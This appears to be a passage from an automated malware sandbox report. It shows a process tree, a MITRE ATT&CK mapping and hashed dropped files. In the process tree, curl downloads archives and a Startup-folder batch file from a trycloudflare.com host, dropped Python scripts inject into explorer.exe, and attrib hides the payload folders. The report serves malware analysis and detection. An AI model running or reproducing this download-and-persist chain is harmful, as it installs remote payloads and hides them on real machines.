        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6592,i,18271733272279242489,11858821418612711945,524288 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=6620 /prefetch:14
        6⤵
        
        PID:5724
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6772,i,8274262140149769345,6390132338788153150,524288 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=6764 /prefetch:14
        6⤵
        
        PID:2216
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6720,i,12894725007075356624,15639532732331627251,524288 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=6988 /prefetch:14
        6⤵
        
        PID:3732
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6672,i,3041405796955865388,2617030852013879412,524288 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=6680 /prefetch:14
        6⤵
        
        PID:804
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4896,i,4594836948938906909,13573656874101771532,524288 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=4868 /prefetch:14
        6⤵
        
        PID:768
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4880,i,11241853964142763367,12417297795548166117,524288 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=4904 /prefetch:14
        6⤵
        
        PID:5384
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4884,i,10185052558574677898,15198036278489621086,524288 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=6652 /prefetch:14
        6⤵
        
        PID:3416
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5920,i,3092227045565013750,9646380870150151787,524288 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:14
        6⤵
        
        PID:7256
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6392,i,16082005586604208025,17883502809258418794,524288 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=6400 /prefetch:14
        6⤵
        
        PID:7936
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=944,i,13095664153422905213,16123443167095749248,524288 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=6712 /prefetch:14
        6⤵
        
        PID:8072
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6392,i,1093501329587987581,9131844814830592986,262144 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=6396 /prefetch:10
        6⤵
        
        PID:2432
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        Delays execution with timeout.exe
        
        PID:264
    - - C:\Windows\system32\where.exe
        
        where curl
        5⤵
        
        PID:5380
    - - C:\Windows\system32\curl.exe
        
        curl -f -L -o "C:\Users\Admin\Contacts\docuts\64.tar" "https://privacy-grain-hypothesis-cities.trycloudflare.com/UkJuly27MA.tar"
        5⤵
        
        PID:4220
    - - C:\Windows\system32\curl.exe
        
        curl -f -L -o "C:\Users\Admin\Contacts\docuts\.tar" "https://privacy-grain-hypothesis-cities.trycloudflare.com/UkJuly27ST.tar"
        5⤵
        
        PID:5772
    - - C:\Windows\system32\curl.exe
        
        curl -f -L -o "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\.bat" "https://privacy-grain-hypothesis-cities.trycloudflare.com/UkJuly27SU.txt"
        5⤵
        Drops startup file
        
        PID:5192
    - - C:\Windows\system32\where.exe
        
        where tar
        5⤵
        
        PID:5380
    - - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\Contacts\docuts\64.tar" -C "C:\Users\Admin\Contacts\Reggtones"
        5⤵
        
        PID:2908
    - - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\Contacts\docuts\.tar" -C "C:\Users\Admin\Contacts\str"
        5⤵
        
        PID:1540
    - - C:\Users\Admin\Contacts\Reggtones\python312x64\python.exe
        
        "C:\Users\Admin\Contacts\Reggtones\python312x64\python.exe" "C:\Users\Admin\Contacts\Reggtones\Python312x64\01UKJuly27__UK_agenttttttttttttt.py"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2024
      - C:\Windows\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:4448
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:5788
    - - C:\Users\Admin\Contacts\Reggtones\python312x64\python.exe
        
        "C:\Users\Admin\Contacts\Reggtones\python312x64\python.exe" "C:\Users\Admin\Contacts\Reggtones\Python312x64\1UKJuly27__Annnnnnnnnn.py"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:480
      - C:\Windows\explorer.exe
        
        explorer.exe
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3584
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 2 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:5644
    - - C:\Users\Admin\Contacts\Reggtones\python312x64\python.exe
        
        "C:\Users\Admin\Contacts\Reggtones\python312x64\python.exe" "C:\Users\Admin\Contacts\Reggtones\Python312x64\1UKJuly27__Assssssssssssss.py"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:444
      - C:\Windows\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:4732
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 7 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:468
    - - C:\Users\Admin\Contacts\Reggtones\python312x64\python.exe
        
        "C:\Users\Admin\Contacts\Reggtones\python312x64\python.exe" "C:\Users\Admin\Contacts\Reggtones\Python312x64\1UKJuly27___Hvvvvvvvvvvvv.py"
        5⤵
        
        PID:2764
      - C:\Windows\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:5780
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1976
    - - C:\Users\Admin\Contacts\Reggtones\python312x64\python.exe
        
        "C:\Users\Admin\Contacts\Reggtones\python312x64\python.exe" "C:\Users\Admin\Contacts\Reggtones\Python312x64\2LazJuly27__hvvvvvvvvvvvv.py"
        5⤵
        
        PID:3408
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 4 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:3296
    - - C:\Windows\system32\cscript.exe
        
        cscript //nologo "C:\Users\Admin\Contacts\py_terminate.vbs"
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:7620
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 2
        5⤵
        Delays execution with timeout.exe
        
        PID:7060
    - - C:\Windows\system32\attrib.exe
        
        attrib +h "C:\Users\Admin\Contacts\Reggtones"
        5⤵
        Views/modifies file attributes
        
        PID:6712
    - - C:\Windows\system32\attrib.exe
        
        attrib +h "C:\Users\Admin\Contacts\str"
        5⤵
        Views/modifies file attributes
        
        PID:6824
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:7048
- - C:\Windows\system32\timeout.exe
    timeout /t 2
    3⤵
    - Delays execution with timeout.exe
    PID:3360

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3732

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5108

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 deae8ba3a07225fe9f1490e4968fd83f8d308707a88a6d3d541d8ab416841ddf
MD5 1fcf11901014bf515178c91bdb7a6c5c
SHA1 4746b018067d9671617515224b7697b27fd2fc5f
SHA512 6059830103275d34e1aa4dd4e8d4177b6c2b684b2b3ad5417753387a227c838c0b258e662c78853cf649656ebd762f5d160c10349cd19ac1953380bd6572c660
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7p:fwUQC5VwBIiElEd2K57P7p
TLSH
T16EB3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 08a3eccff4cd9b05162ffe0d083662ea8cd60457899147f42dbbf95a0a97d97e
MD5 394c25b8b347a39d61b9cf28babb5c77
SHA1 c7334bcf8642ac580d30cf31659724fe1ab323c9
SHA512 8e5c09dada01bf020bbf53884d65940c521dc62e17d9ce99fe6c571edde4b95c7c7716f2eda97b70568b2cbac8823e7afed5a9bac7be39d1acc6fc95c23a4b1c
TLSH
T1F6D0C038762962C2C92725B2CC3063007330007030B587425071440C8E3489667CF3C7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 168dc438fa355b9b84e416f9d4caca14da218ad190d72da09fe489277625815d
MD5 39064a84dfec9bbd8c4b789b6d7a7c62
SHA1 5d817a4df5ed7bd1eac0c4bc0464a76007ad0c46
SHA512 3a4f32a1ad3eb6c391e6d11f4f6ba07c4d21cc935ddd8fd93306857b9e0cfda06c39786a872cae88f394320921a63296ad4df0e61334710db192febec2f48618
TLSH
T1B5D0C034763961C2C92725B2CC3163007320007030B587425171840C8E3489667CF3C3
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 3b6ec860c1e3491000807dd88926f4f66c8f599c8e62da4305b7a9cbb98e33e2
MD5 7fbeb95f2f999b2351abe211510f7a1b
SHA1 aae07caa711471d9f1cfc1628088bb10c7665d0d
SHA512 eb74357669d8e5186fc73e2d9bf5b2f4aebc9777087ee3af7e94537298381d120e8c53cdef22cde630c4b4eff77c79fe893e7705cccd82747894c9f793a13d78
TLSH
T12851F878B72D29E3CFE2A5BC51F964C9B2F798580707AEC64C7452BC4A827042C5DF16
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59be93.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59be93.TMP
Size 2KB
SHA256 993d93822bf1a0d1b7e9b5de6f93be0a2ca35876d65f7d25c735e250dd008018
MD5 b196c97fdef74469c84d21051da16b7f
SHA1 7782e5a50cfdb0f08c8133fa8d9c5bac9d37249d
SHA512 27b6870dee6e52c729ecdbcab26d121378901c9f7811ff2b4dadf8ef88dc4974ac15c2abfd93aa772e4e8d4a01b2fdb11d8f0911844ad87e60555587a3e91e1c
TLSH
T1B851F978F72C29E3CFE2A5BD51F964D8B2F7884807076AC68C7412BC49827046C1CF12
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 f7772780b57ff2f2f8d9ac9de2669ae67d7975a526d7227345e116d87410db00
MD5 e5e47b8561fa4c81b46c6d632ee2eff5
SHA1 17893bda1a050a626c69b86f45fe0aaf9160d6d0
SHA512 79f1a80399ffd50e949d6f58d3f4cae9c27f81594951f08cdfcc740ab52839fed9190d5fb72eb9eba856d24c23cdd82f7699786e0d808b33de995cb8f92b076b
TLSH
T12F518CF3C3E8856E890156F4AB18AE1BCE2D0955832C7D5AC8E4EF1BA3E3471D14195F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 6b540256b755758f88c07c33c83379a2039ea893177bf0c28958660c431c5bfd
MD5 82f6eb3c1e0ab624c8fcc10ae09583c7
SHA1 70d3829c474e3d113e9af4c916a25efdf643281d
SHA512 f2be363ea20c6e91214bcbf0d2e767797c298980cd708a4573786f6bc80fea1e864104999d1cf4ac7df4d9327c2476adcae8205dbd88f50f40bbe846d0f66157
SSDEEP 192:sxRLRKyM/jK1Ml8wCb/frsM+zZYnzoA8p4R/g6+WNIYZ7PAOwoHZ+GMIgViarrJ:sxRLA8b/frsM+9YOM/5IhONZuZ9
TLSH
T15262C916AA34597BCCDBD209FA557F53D6F81463E2901E44AAFCCA0C04E66DD221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 03365c9a4f8d94911b3111526f28087b2ae048474589601110f4fd19538d19d7
MD5 bc589d6e0d6bcd07d2ffdfa9037a52e4
SHA1 5a1e3d6ba0fcac32cbad25762a21efb60d914104
SHA512 821a3c4d0dffae8e978a907275c6a686035a8db7f66caed25f181073968394ff0519bf0caad42dfda1fb0fe71589733198546b8cb974672f98723b279ff12376
SSDEEP 192:sxRQRKyM/jK1Ml8UQVCb/frs8pzZYnzoA8peR/g6+WNIYZ7P0OwoHZ+GMIgDyiap:sxRQAqEb/frs8p9YOy/5IvONZuy9
TLSH
T10F62B81AA924597BCCDBD309F6557F53E6F81473E2941E44AAFCCA0C04EA6DD221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 bd0174ee3a43281a55632f14448b522bc5a58bb98bb5be69ea1e6bc4ab240214
MD5 d4c061878d50b41042887e6a45f936cf
SHA1 e747bf9ae7599e9a97bf316e234e4f4d945dd5f2
SHA512 4883042a0d79521f93bbf23dca1eaa9758b9e1d8c64359d5b4666d859aa457895d9009d69c26e2e2dc657c6cf5e0bb6ee6d7cbde8c9876a83b685901441b39e8
SSDEEP 192:sxRQRKyM/jK1Ml8wCb/frs8+zZYnzoA8p4R/g6+WNIYZ7PAOwoHZ+GMIgDgiarrJ:sxRQA8b/frs8+9YOM/5IhONZuk9
TLSH
T1D262C916AA34597BCCDBD309FA557F53D6F81463E2941E44AAFCCA0C04E66DD221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 0c090f66c6b1bb5adeb49cfda00bd8e3f8c175eb769d648e36c617dd26652c59
MD5 b8aa25c0a299071595a81a8ad133bbf7
SHA1 6511417c86f9e4d7ae84b6c347d64570a0b0fea5
SHA512 b772272239b2dd3ef26d8023b8ae4f10ba06d3025dc22d5b736ee8d2cbe90aa616f39207d97e2bf51d0c11463da6aab02eb1b21e7676920664179b873d59f6b4
SSDEEP 768:kfISu47pLuLfIvWgd5fWb8F1+UoAYDCx9Tuqh0VfUC9xbog/OVCMtSV2proHh0c3:kfISukEfIvWgd5fWbu1jalMtU2CHh0c3
TLSH
T1EDE2DD3B680CCB7F4F804ADCE8297E9AADD801CF96D8C99447FA850C03C66EB55165DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 5KB
SHA256 ed74fd45ee9238da8c6571579a718b38dc4a47d29530c9d06efa7aa9eef9e36f
MD5 18b73b07a7d997f22dc0c47b2f0b20ff
SHA1 48ffbf63eb29597bb92aa0b80161743d24beeff9
SHA512 8bb31a2e8f62b49bb1f1ed54398d9d479154d8378ad15b6e1d95055a6db3c83b635692ef73ce1ee70a2a62a4889950eaaff5d5793c31b2e31d8f3444d1c728af
SSDEEP 48:KYHIJKMwUryVXINKEkYc5IFKyQgfyt7I1KQcQY:KYHqKMwy+X+KEkL5WKyQSO72KQcD
TLSH
T12EB12592B136461138BD2C088475DAAADEC5B0B33418A46FB7E940B64F26F020FFDDC9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe5a3663.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe5a3663.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 34KB
SHA256 535c83a64caac420020ce7e2acefcbc5c21a1e184b180d960f9e19379076c0f6
MD5 64adab769d8ee97e734f13e9006eb19f
SHA1 6a00859deda00532818cb2a7e9d0f72dc0155848
SHA512 090d234c43c8dba295ebbec199dd6f140f6061cf9c215225fe6872820d0df9e917164452dc8fb7dea40f984ed59e338475bea9b320f140ca1a6f8a7f651e9d88
SSDEEP 768:CFKC3iwg8xhLALTAam6aQMGdjWca4Ghf90Mu:FC3GmaME6p0z
TLSH
T127F26B36DCA4C967ACE79785B71A7687EEF011B3C9D88DC4DAD99E0D019318E130BC1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 30KB
SHA256 cbc5ab96c95992d966794b7261f753ccaf3c17756b42232c9829e15274c3b6ab
MD5 8b80a305dd90778b009bb5888b1aa8b9
SHA1 71281453d8b47836809d34a1e84832c4ab61b8ab
SHA512 b9482ba61d84448b2eb325f69485097713e18760dc8d1f9fbc7a3015399e7ee92827194f616f3c272dd06519279a8ea531c9ec3cf9f9eb62efd3a06482520df8
SSDEEP 768:P83nNq7LALdAAam6aQMGdjWca4Ghf90Mu:P839KmaME6p0z
TLSH
T1F0E29F719C69CC739CABA295B72A2787BEF02173C8D84E44D5D99F0D029358E230BD1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 36KB
SHA256 e5fc01d6f9492b9f5425a22d0d7fbda5c3d7125902f6f49b1e794be8097076ab
MD5 86ecacf4ac47ffb6ed52db6037b7f7c9
SHA1 d219902548af1168153899fd1da426f92b76ca66
SHA512 0aeec5561a25ff9c509538a857e1d7a581ece323449f1e585fab342df12a12165e465cd6b2dd8dbe60eee8614fa02407cdb1ebd2de4922355a86662f4002a34d
SSDEEP 768:srv+4UNbd/38Nq7LALdAAam6aQMGdjWca4Ghf90PxUQ:sbsbB38KmaME6p0x
TLSH
T14D03AE31A86CD9739CB79298B31B7687BEB021B388C80E84D5D95B0D469758E330BD1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 34KB
SHA256 ed4137f4b4869668dcd95f0ff979b1051c5f500d11c890b41ea9944992eceaa4
MD5 372e2c75669b0d67d99d10e9cc755173
SHA1 fff6ec2585eae2058231412f5a7c25746652af81
SHA512 c36c83139672a6d266949c9f1396914de45618e88480419b15f3422e418d6814b3fb9a42e330f09ad089afc8549b2b4f8ca8caadff2c94cbd7e4b44bda2e4727
SSDEEP 768:/rv+4UNbdq35Sq7LWAAam6aQMGdjWca4GhfBGPeU/:/bsbc3UKmaME6peH
TLSH
T15DF2AE31A86C9573DDB79A99F21F6787BEB021A384D40A80D9D96B0D439748E3307D2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VariationsRuntimeSeedV1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\VariationsRuntimeSeedV1
Size 484B
SHA256 9fd2b7fae87c2d863b486a425834283f19b1444749c84650d5a48c9eadb12e2b
MD5 e9289cc1f579fdfa9d46acfae9b38330
SHA1 7eac8e241d8c35d873280d6b9dbc1cca7a9b2231
SHA512 b1f37da50e387c8408a960ef5276a51336510286c1db7eaea4cde65af4efc343f8ac1d9de65df1fd0818513823a485733e5c155da615344bc044f46021ecf586
TLSH
T134F0543C33D821A4F08C46B23596ED8B88BF313247DC2631CA50F550315387701B5095
MD5 SHA1 SHA512 TLSH

Submit Download

VariationsSeedV1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\VariationsSeedV1
Size 2KB
SHA256 3fd4a00a4174e0d8ce56f1b0f90a49649e62e362dbb6b45b306b33ec981b3307
MD5 34679dcce4f19902990ac2a9bd37670a
SHA1 735f6175a6f006395a46672da8ed571af147de3d
SHA512 70173e3320576b81c0df63767d6645e4db41958062058bd0081b5d018b9e15de198ba1820203550ad7649c18d7b869f8276c5851dd9ac038c701682672179c7c
TLSH
T105513C6939E357FF8E752E7FEB00D6647958CDA41A63008086120A9549DB17B0C073FE
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
